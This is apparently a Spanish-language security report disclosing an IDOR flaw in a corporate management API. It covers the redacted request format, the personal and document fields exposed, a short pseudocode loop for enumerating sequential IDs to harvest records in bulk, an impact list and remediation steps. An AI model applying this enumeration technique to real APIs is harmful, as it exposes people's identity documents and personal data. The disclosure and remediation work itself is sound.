Resumen
Se identificó una vulnerabilidad de tipo IDOR (Insecure Direct Object Reference) en un endpoint API de una aplicación de gestión corporativa. La API utilizaba un mecanismo de llamadas donde el identificador del recurso se enviaba como parámetro en el body JSON.
No existía ninguna validación de autorización a nivel de objeto: cualquier usuario autenticado podía acceder a los datos de cualquier otro usuario simplemente iterando un ID numérico secuencial.
Detalles técnicos
Endpoint vulnerable
POST /api/[REDACTED]?token=[REDACTED] HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
Authorization: [REDACTED]
{
"action": "entityService",
"method": "getRecord",
"data": [
"582941"
],
"type": "rpc",
"tid": 7
}
El primer elemento del array data es un ID numérico secuencial. Cambiando este valor por cualquier otro ID se obtenian los datos completos de otros usuarios sin ninguna validación.
Datos expuestos
{
"result": {
"status": "OK",
"record": {
"id": "582941",
"full_name": "[NOMBRE COMPLETO]",
"id_type": "national_id",
"id_number": "[DOCUMENTO IDENTIDAD]",
"phone": "[TELEFONO]",
"email": "[EMAIL]",
"address": "[DIRECCION]",
"organization": "[EMPRESA]",
"documents": {
"photo": "PHOTO_582941_[DATE].jpg",
"id_scan": "DOC_582941_[DATE].pdf",
"certificate": "CERT_582941_[DATE].pdf",
"signature": "SIGN_582941_[DATE].tif",
"consent_gdpr": "GDPR_582941_[DATE].pdf"
},
"status": "active",
"created_at": "[DATE]"
}
}
}
Escalabilidad del ataque
Al ser IDs numéricos secuenciales, un atacante podía automatizar la extracción masiva de datos:
for record_id in range(500000, 600000):
response = api_request(record_id)
if response.status == "OK":
save_record(response.record)
# nombre, documento, teléfono, email, firma digital...
Impacto
- Exposición masiva de datos personales (PII) de todos los usuarios del sistema
- Acceso a documentos sensibles incluyendo fotografías, documentos de identidad y firmas digitales
- Violación de GDPR/RGPD con implicaciones legales y sanciónes potenciales de la AEPD
- Riesgo de suplantación de identidad con los documentos obtenidos
- Enumeración completa de la base de usuarios por IDs secuenciales
Remediación
- Implementar autorización a nivel de objeto — Verificar que el usuario tiene permisos sobre el recurso solicitado.
- Usar identificadores no predecibles — Reemplazar IDs secuenciales por UUIDs.
- Rate limiting por endpoint — Limitar peticiónes para dificultar la enumeración masiva.
- Minimizar datos en respuesta — Aplicar principio de minimo privilegio en los datos devueltos.
- Logging y alertas — Monitorizar patrones de acceso anomalos.